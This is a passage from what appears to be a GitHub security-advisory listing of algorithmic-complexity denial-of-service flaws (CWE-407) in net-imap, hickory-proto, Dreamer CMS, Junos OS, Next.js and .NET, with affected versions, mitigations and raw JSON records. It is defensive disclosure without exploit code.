Net::IMAP::ResponseReader runs continuously in the receiver thread until the connection closes.

Impact

This consumes disproportionate CPU time in the client's receiver thread. A hostile server could use this to exhaust the client's CPU for a denial of service attack.

For a response near the default max_response_size, each individual regexp scan could take between 100 to 200ms on common modern hardware, and this may be repeated 200k times per megabyte of response. While the regexp is scanning, it retains the Global VM lock, preventing other threads from running.

Although other threads should not be completely blocked, their run time will be significantly impacted.

Mitigation

  • Upgrade to a patched version of net-imap that reads responses more efficiently.
  • Do not connect to untrusted IMAP servers.
  • When connecting to untrusted servers, a much smaller max_response_size (for example: 8KiB) will limit the impact. Although this is too small for fetching unpaginated message bodies, it should be enough for most other operations.
Severity
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.3"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.13"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.5.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.23"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T22:02:56Z",
    "nvd_published_at": "2026-05-09T20:16:28Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`Net::IMAP::ResponseReader` has quadratic time complexity when reading large responses containing many string literals.  A hostile server can send responses which are crafted to exhaust the client\u0027s CPU for a denial of service attack.\n\n### Details\n\nFor each literal in a response, `ResponseReader` rescans the entire growing response buffer.  The regular expression that is used to scan the response buffer runs in linear time.  With many literals, this becomes O(n\u00b2) total work.  The regular expression should run in constant time: it is anchored to the end and only the last 23 bytes of the buffer are relevant.\n\nBecause the algorithmic complexity is super-linear, this bypasses protection from `max_response_size`: a response can stay well below the default size limit while still causing very large CPU cost.\n\n`Net::IMAP::ResponseReader` runs continuously in the receiver thread until the connection closes.\n\n### Impact\n\nThis consumes disproportionate CPU time in the client\u0027s receiver thread.  A hostile server could use this to exhaust the client\u0027s CPU for a denial of service attack.\n\nFor a response near the default `max_response_size`, each individual regexp scan could take between 100 to 200ms on common modern hardware, and this may be repeated 200k times per megabyte of response.  While the regexp is scanning, it retains the Global VM lock, preventing other threads from running.\n\nAlthough other threads should not be _completely_ blocked, their run time will be significantly impacted.\n\n### Mitigation\n\n* Upgrade to a patched version of net-imap that reads responses more efficiently.\n* Do not connect to untrusted IMAP servers.\n* When connecting to untrusted servers, a _much_ smaller `max_response_size` (for example: 8KiB) will limit the impact.  Although this is too small for fetching unpaginated message bodies, it should be enough for most other operations.",
  "id": "GHSA-q2mw-fvj9-vvcw",
  "modified": "2026-05-14T20:48:14Z",
  "published": "2026-05-04T22:02:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-q2mw-fvj9-vvcw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/6091f7d6b1f3514cafbfe39c76f2b5d73de3ca96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/88d95231fc8afef11c1f074453f7d75b68c9dfda"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/de685f91a4a4cc75eb80da898c2bf8af08d34819"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/net-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.4.24"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.5.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-42245.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "net-imap has quadratic complexity when reading response literals"
}

GHSA-Q2QQ-HMJ6-3WPP

Vulnerability from github – Published: 2026-05-07 02:59 – Updated: 2026-05-07 02:59
VLAI
Summary
hickory-proto vulnerable to CPU exhaustion during message encoding due to O(n²) name compression
Details

During message encoding, hickory-proto's BinEncoder stores pointers to labels that are candidates for name compression in a Vec<(usize, Vec<u8>)>. The name compression logic then searches for matches with a linear scan.

A malicious message with many records can both introduce many candidate labels, and invoke this linear scan many times. This can amplify CPU exhaustion in DoS attacks.

This is similar to CVE-2024-8508.

Reporter

Qifan Zhang, Palo Alto Networks

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.26.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "hickory-proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.1"
            },
            {
              "fixed": "0.26.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-407",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T02:59:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "During message encoding, `hickory-proto`\u0027s `BinEncoder` stores pointers to labels that are candidates for name compression in a `Vec\u003c(usize, Vec\u003cu8\u003e)\u003e`. The name compression logic then searches for matches with a linear scan.\n\nA malicious message with many records can both introduce many candidate labels, and invoke this linear scan many times. This can amplify CPU exhaustion in DoS attacks.\n\nThis is similar to [CVE-2024-8508](https://www.nlnetlabs.nl/downloads/unbound/CVE-2024-8508.txt).\n\n### Reporter\n\nQifan Zhang, Palo Alto Networks",
  "id": "GHSA-q2qq-hmj6-3wpp",
  "modified": "2026-05-07T02:59:48Z",
  "published": "2026-05-07T02:59:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-q2qq-hmj6-3wpp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hickory-dns/hickory-dns"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0119.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "hickory-proto vulnerable to CPU exhaustion during message encoding due to O(n\u00b2) name compression"
}

GHSA-Q4C2-WH8V-28Q5

Vulnerability from github – Published: 2023-05-02 15:30 – Updated: 2023-05-02 15:30
VLAI
Details

A vulnerability was found in Dreamer CMS up to 4.1.3. It has been declared as problematic. This vulnerability affects the function updatePwd of the file UserController.java of the component Password Hash Calculation. The manipulation leads to inefficient algorithmic complexity. The attack can be initiated remotely. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-227860.

Severity
4.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-2473"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-02T13:15:25Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Dreamer CMS up to 4.1.3. It has been declared as problematic. This vulnerability affects the function updatePwd of the file UserController.java of the component Password Hash Calculation. The manipulation leads to inefficient algorithmic complexity. The attack can be initiated remotely. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-227860.",
  "id": "GHSA-q4c2-wh8v-28q5",
  "modified": "2023-05-02T15:30:33Z",
  "published": "2023-05-02T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2473"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/isoftforce/dreamer_cms/issues/I6WHO7"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.227860"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.227860"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q67G-RXMW-649C

Vulnerability from github – Published: 2022-01-20 00:02 – Updated: 2022-01-29 00:01
VLAI
Details

An Insufficient Algorithmic Complexity combined with an Allocation of Resources Without Limits or Throttling vulnerability in the flow processing daemon (flowd) of Juniper Networks Junos OS on SRX Series and MX Series with SPC3 allows an unauthenticated network attacker to cause latency in transit packet processing and even packet loss. If transit traffic includes a significant percentage (> 5%) of fragmented packets which need to be reassembled, high latency or packet drops might be observed. This issue affects Juniper Networks Junos OS on SRX Series, MX Series with SPC3: All versions prior to 18.2R3; 18.3 versions prior to 18.3R3; 18.4 versions prior to 18.4R2-S9, 18.4R3; 19.1 versions prior to 19.1R2; 19.2 versions prior to 19.2R1-S1, 19.2R2.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22153"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-19T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "An Insufficient Algorithmic Complexity combined with an Allocation of Resources Without Limits or Throttling vulnerability in the flow processing daemon (flowd) of Juniper Networks Junos OS on SRX Series and MX Series with SPC3 allows an unauthenticated network attacker to cause latency in transit packet processing and even packet loss. If transit traffic includes a significant percentage (\u003e 5%) of fragmented packets which need to be reassembled, high latency or packet drops might be observed. This issue affects Juniper Networks Junos OS on SRX Series, MX Series with SPC3: All versions prior to 18.2R3; 18.3 versions prior to 18.3R3; 18.4 versions prior to 18.4R2-S9, 18.4R3; 19.1 versions prior to 19.1R2; 19.2 versions prior to 19.2R1-S1, 19.2R2.",
  "id": "GHSA-q67g-rxmw-649c",
  "modified": "2022-01-29T00:01:21Z",
  "published": "2022-01-20T00:02:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22153"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11261"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-Q8WF-6R8G-63CH

Vulnerability from github – Published: 2026-07-22 23:02 – Updated: 2026-07-22 23:02
VLAI
Summary
Next.js: Denial of Service in the Image Optimization API using SVGs
Details

Impact

When self-hosting Next.js with the default image loader, the Image Optimization API can optimize remotely hosted images if configured (not enabled by default). If those images contain malicious content, they can cause CPU exhaustion in /_next/image endpoints.

  • If you are using config.images.remotePatterns, only the patterns in that array are impacted.
  • If you are using config.images.unoptimized: true, you are NOT impacted.
  • If you are using config.images.loader: 'custom', you are NOT impacted.
  • If you are using Vercel, you are NOT impacted.

Workarounds

If you cannot upgrade immediately, you can avoid the expensive work by setting config.experimental.imgOptSkipMetadata : true.

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.5.0"
            },
            {
              "fixed": "15.5.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.0.0"
            },
            {
              "fixed": "16.2.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-64644"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T23:02:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWhen self-hosting Next.js with the default image loader, the Image Optimization API can optimize remotely hosted images if configured (not enabled by default). If those images contain malicious content, they can cause CPU exhaustion in  `/_next/image` endpoints.\n\n- If you are using `config.images.remotePatterns`, only the patterns in that array are impacted.\n- If you are using `config.images.unoptimized: true`, you are NOT impacted.\n- If you are using `config.images.loader: \u0027custom\u0027`, you are NOT impacted.\n- If you are using Vercel, you are NOT impacted.\n\n### Workarounds\n\nIf you cannot upgrade immediately, you can avoid the expensive work by setting `config.experimental.imgOptSkipMetadata : true`.",
  "id": "GHSA-q8wf-6r8g-63ch",
  "modified": "2026-07-22T23:02:05Z",
  "published": "2026-07-22T23:02:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/security/advisories/GHSA-q8wf-6r8g-63ch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/pull/96006"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/commit/93cb90891402fa4c47798d03cb9e05c13233766c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vercel/next.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/releases/tag/v15.5.21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/releases/tag/v16.2.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Next.js: Denial of Service in the Image Optimization API using SVGs"
}

GHSA-QJ66-M88J-HMGJ

Vulnerability from github – Published: 2024-10-08 20:24 – Updated: 2024-10-14 20:42
VLAI
Summary
Microsoft Security Advisory CVE-2024-43483 | .NET Denial of Service Vulnerability
Details

Microsoft Security Advisory CVE-2024-43483 | .NET Denial of Service Vulnerability

Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in System.Security.Cryptography.Cose, System.IO.Packaging, Microsoft.Extensions.Caching.Memory. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.

System.Security.Cryptography.Cose, System.IO.Packaging, Microsoft.Extensions.Caching.Memory may be exposed to a hostile input which may lead them to be susceptible to hash flooding attacks resulting in denial of service.

Announcement

Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/327

Mitigation factors

Microsoft has not identified any mitigating factors for this vulnerability.

Affected software

  • Any .NET 8.0 application running on .NET 8.0.8 or earlier.
  • Any .NET 6.0 aplication running on .NET 6.0.33 or earlier.
  • Any application consuming one of the vulnerable packages.

Affected Packages

  • Any .NET 6.0, 8.0, or 9.0 application.
  • Any application consuming one of the vulnerable packages.

.NET 9

Package name Affected version Patched version
System.Security.Cryptography.Cose >= 9.0.0-preview.1.24080.9, <= 9.0.0-rc.1.24431.7 9.0.0-rc.2.24473.5
System.IO.Packaging >= 9.0.0-preview.1.24080.9, <= 9.0.0-rc.1.24431.7 9.0.0-rc.2.24473.5
Microsoft.Extensions.Caching.Memory >= 9.0.0-preview.1.24080.9, <= 9.0.0-rc.1.24431.7 9.0.0-rc.2.24473.5

.NET 8

Package name Affected version Patched version
System.Security.Cryptography.Cose >= 8.0.0-preview.1.23110.8, <= 8.0.0 8.0.1
System.IO.Packaging >= 8.0.0-preview.1.23110.8, <= 8.0.0 8.0.1
Microsoft.Extensions.Caching.Memory >= 8.0.0-preview.1.23110.8, <= 8.0.0 8.0.1

.NET 6

Package name Affected version Patched version
System.IO.Packaging >= 6.0.0-preview.1.21102.12, <= 6.0.0 6.0.1
Microsoft.Extensions.Caching.Memory >=6.0.0-preview.1.21102.12 <= 6.0.1 6.0.2

Advisory FAQ

How do I know if I am affected?

If you have a runtime or SDK with a version listed, or an affected package listed in affected software or affected packages, you're exposed to the vulnerability.

How do I fix the issue?

  • To fix the issue please install the latest version of .NET 8.0 or .NET 6.0. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
  • .NET Framework-based applications and other application types need to perform a package update.
  • If you have .NET 6.0 or greater installed, you can list the versions you have installed by running the dotnet --info command. You will see output like the following;
.NET Core SDK (reflecting any global.json):


 Version:   8.0.200
 Commit:    8473146e7d

Runtime Environment:

 OS Name:     Windows
 OS Version:  10.0.18363
 OS Platform: Windows
 RID:         win10-x64
 Base Path:   C:\Program Files\dotnet\sdk\6.0.300\

Host (useful for support):

  Version: 8.0.3
  Commit:  8473146e7d

.NET Core SDKs installed:

  8.0.200 [C:\Program Files\dotnet\sdk]

.NET Core runtimes installed:

  Microsoft.AspAspNetCore.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.AspAspNetCore.App]
  Microsoft.AspNetCore.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
  Microsoft.WindowsDesktop.App 8.0.3 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]


To install additional .NET Core runtimes or SDKs:
  https://aka.ms/dotnet-download
  • If you're using .NET 9.0, you should download and install .NET 9.0 RC 2 Runtime or .NET 9.0.100-rc.2.24474.11 SDK (for Visual Studio 2022 v17.12 latest Preview) from https://dotnet.microsoft.com/download/dotnet-core/9.0.
  • If you're using .NET 8.0, you should download and install .NET 8.0.10 Runtime or .NET 8.0.110 SDK (for Visual Studio 2022 v17.8) from https://dotnet.microsoft.com/download/dotnet-core/8.0.
  • If you're using .NET 6.0, you should download and install .NET 6.0.35 Runtime or .NET 6.0.135 SDK (for Visual Studio 2022 v17.6) from https://dotnet.microsoft.com/download/dotnet-core/6.0.

.NET 6.0 and .NET 8.0 updates are also available from Microsoft Update. To access this either type "Check for updates" in your Windows search, or open Settings, choose Update & Security and then click Check for Updates.

Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.

Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.

Other Information

Reporting Security Issues

If you have found a potential security issue in .NET 8.0 or .NET 6.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core & .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.

Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime and https://github.com/dotnet/aspnet/. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

External Links

CVE-2024-43483

Revisions

V1.0 (October 08, 2024): Advisory published.

Version 1.0

Last Updated 2024-10-08

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.0-rc.1.24431.7"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Security.Cryptography.Cose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0-preview.1.24080.9"
            },
            {
              "fixed": "9.0.0-rc.2.24473.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.0-rc.1.24431.7"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.IO.Packaging"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0-preview.1.24080.9"
            },
            {
              "fixed": "9.0.0-rc.2.24473.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Security.Cryptography.Cose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0-preview.1.23110.8"
            },
            {
              "fixed": "8.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.IO.Packaging"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0-preview.1.21102.12"
            },
            {
              "fixed": "6.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "System.IO.Packaging"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0-preview.1.23110.8"
            },
            {
              "fixed": "8.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Extensions.Caching.Memory"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0-preview.1.23110.8"
            },
            {
              "fixed": "8.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.0-rc.1.24431.7"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Extensions.Caching.Memory"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0-preview.1.24080.9"
            },
            {
              "fixed": "9.0.0-rc.2.24473.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.1"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Extensions.Caching.Memory"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0-preview.1.21102.12"
            },
            {
              "fixed": "6.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-43483"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-08T20:24:41Z",
    "nvd_published_at": "2024-10-08T18:15:10Z",
    "severity": "HIGH"
  },
  "details": "# Microsoft Security Advisory CVE-2024-43483 | .NET Denial of Service Vulnerability\n\n## \u003ca name=\"executive-summary\"\u003e\u003c/a\u003eExecutive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in  System.Security.Cryptography.Cose, System.IO.Packaging, Microsoft.Extensions.Caching.Memory. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nSystem.Security.Cryptography.Cose, System.IO.Packaging, Microsoft.Extensions.Caching.Memory may be exposed to a hostile input which may lead them to be susceptible to hash flooding attacks resulting in denial of service.\n\n## Announcement\n\nAnnouncement for this issue can be found at  https://github.com/dotnet/announcements/issues/327\n\n## \u003ca name=\"mitigation-factors\"\u003e\u003c/a\u003eMitigation factors\n\nMicrosoft has not identified any mitigating factors for this vulnerability.\n\n## \u003ca name=\"affected-software\"\u003e\u003c/a\u003eAffected software\n\n* Any .NET 8.0 application running on .NET 8.0.8 or earlier.\n* Any .NET 6.0 aplication running on .NET 6.0.33 or earlier.\n* Any application consuming one of the [vulnerable packages](affected-packages).\n\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\n* Any .NET 6.0, 8.0, or 9.0 application.\n* Any application consuming one of the vulnerable packages.\n\n### \u003ca name=\".NET 9 \"\u003e\u003c/a\u003e.NET 9\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Security.Cryptography.Cose](https://www.nuget.org/packages/System.Security.Cryptography.Cose)                   | \u003e= 9.0.0-preview.1.24080.9, \u003c= 9.0.0-rc.1.24431.7 | 9.0.0-rc.2.24473.5\n[System.IO.Packaging](https://www.nuget.org/packages/System.IO.Packaging)                   | \u003e= 9.0.0-preview.1.24080.9, \u003c= 9.0.0-rc.1.24431.7 | 9.0.0-rc.2.24473.5\n[Microsoft.Extensions.Caching.Memory](https://www.nuget.org/packages/Microsoft.Extensions.Caching.Memory)                   | \u003e= 9.0.0-preview.1.24080.9, \u003c= 9.0.0-rc.1.24431.7 | 9.0.0-rc.2.24473.5\n\n### \u003ca name=\".NET 8\"\u003e\u003c/a\u003e.NET 8\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Security.Cryptography.Cose](https://www.nuget.org/packages/System.Security.Cryptography.Cose)                   | \u003e= 8.0.0-preview.1.23110.8, \u003c= 8.0.0 | 8.0.1\n[System.IO.Packaging](https://www.nuget.org/packages/System.IO.Packaging)                   | \u003e= 8.0.0-preview.1.23110.8, \u003c= 8.0.0 | 8.0.1\n[Microsoft.Extensions.Caching.Memory](https://www.nuget.org/packages/Microsoft.Extensions.Caching.Memory)                   | \u003e= 8.0.0-preview.1.23110.8, \u003c= 8.0.0 | 8.0.1\n\n### \u003ca name=\".NET 6\"\u003e\u003c/a\u003e.NET 6\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.IO.Packaging](https://www.nuget.org/packages/System.IO.Packaging)                   | \u003e= 6.0.0-preview.1.21102.12, \u003c= 6.0.0 | 6.0.1\n[Microsoft.Extensions.Caching.Memory](https://www.nuget.org/packages/Microsoft.Extensions.Caching.Memory)                   | \u003e=6.0.0-preview.1.21102.12 \u003c= 6.0.1 | 6.0.2\n\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf you have a runtime or SDK with a version listed, or an affected package listed in [affected software](#affected-packages) or [affected packages](#affected-software), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n* To fix the issue please install the latest version of .NET 8.0 or .NET 6.0. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET  SDKs.\n* .NET Framework-based applications and other application types need to perform a package update.\n* If you have .NET 6.0 or greater installed, you can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;\n\n```\n.NET Core SDK (reflecting any global.json):\n\n\n Version:   8.0.200\n Commit:    8473146e7d\n\nRuntime Environment:\n\n OS Name:     Windows\n OS Version:  10.0.18363\n OS Platform: Windows\n RID:         win10-x64\n Base Path:   C:\\Program Files\\dotnet\\sdk\\6.0.300\\\n\nHost (useful for support):\n\n  Version: 8.0.3\n  Commit:  8473146e7d\n\n.NET Core SDKs installed:\n\n  8.0.200 [C:\\Program Files\\dotnet\\sdk]\n\n.NET Core runtimes installed:\n\n  Microsoft.AspAspNetCore.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.AspAspNetCore.App]\n  Microsoft.AspNetCore.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.AspNetCore.App]\n  Microsoft.WindowsDesktop.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.WindowsDesktop.App]\n\n\nTo install additional .NET Core runtimes or SDKs:\n  https://aka.ms/dotnet-download\n```\n\n* If you\u0027re using .NET 9.0, you should download and install .NET 9.0 RC 2  Runtime or .NET 9.0.100-rc.2.24474.11 SDK (for Visual Studio 2022 v17.12 latest Preview) from https://dotnet.microsoft.com/download/dotnet-core/9.0.\n* If you\u0027re using .NET 8.0, you should download and install .NET 8.0.10  Runtime or .NET 8.0.110 SDK (for Visual Studio 2022 v17.8) from https://dotnet.microsoft.com/download/dotnet-core/8.0.\n* If you\u0027re using .NET 6.0, you should download and install .NET 6.0.35  Runtime or .NET 6.0.135 SDK (for Visual Studio 2022 v17.6) from https://dotnet.microsoft.com/download/dotnet-core/6.0.\n\n.NET 6.0 and .NET 8.0 updates are also available from Microsoft Update. To access this either type \"Check for updates\" in your Windows search, or open Settings, choose Update \u0026 Security and then click Check for Updates.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in .NET 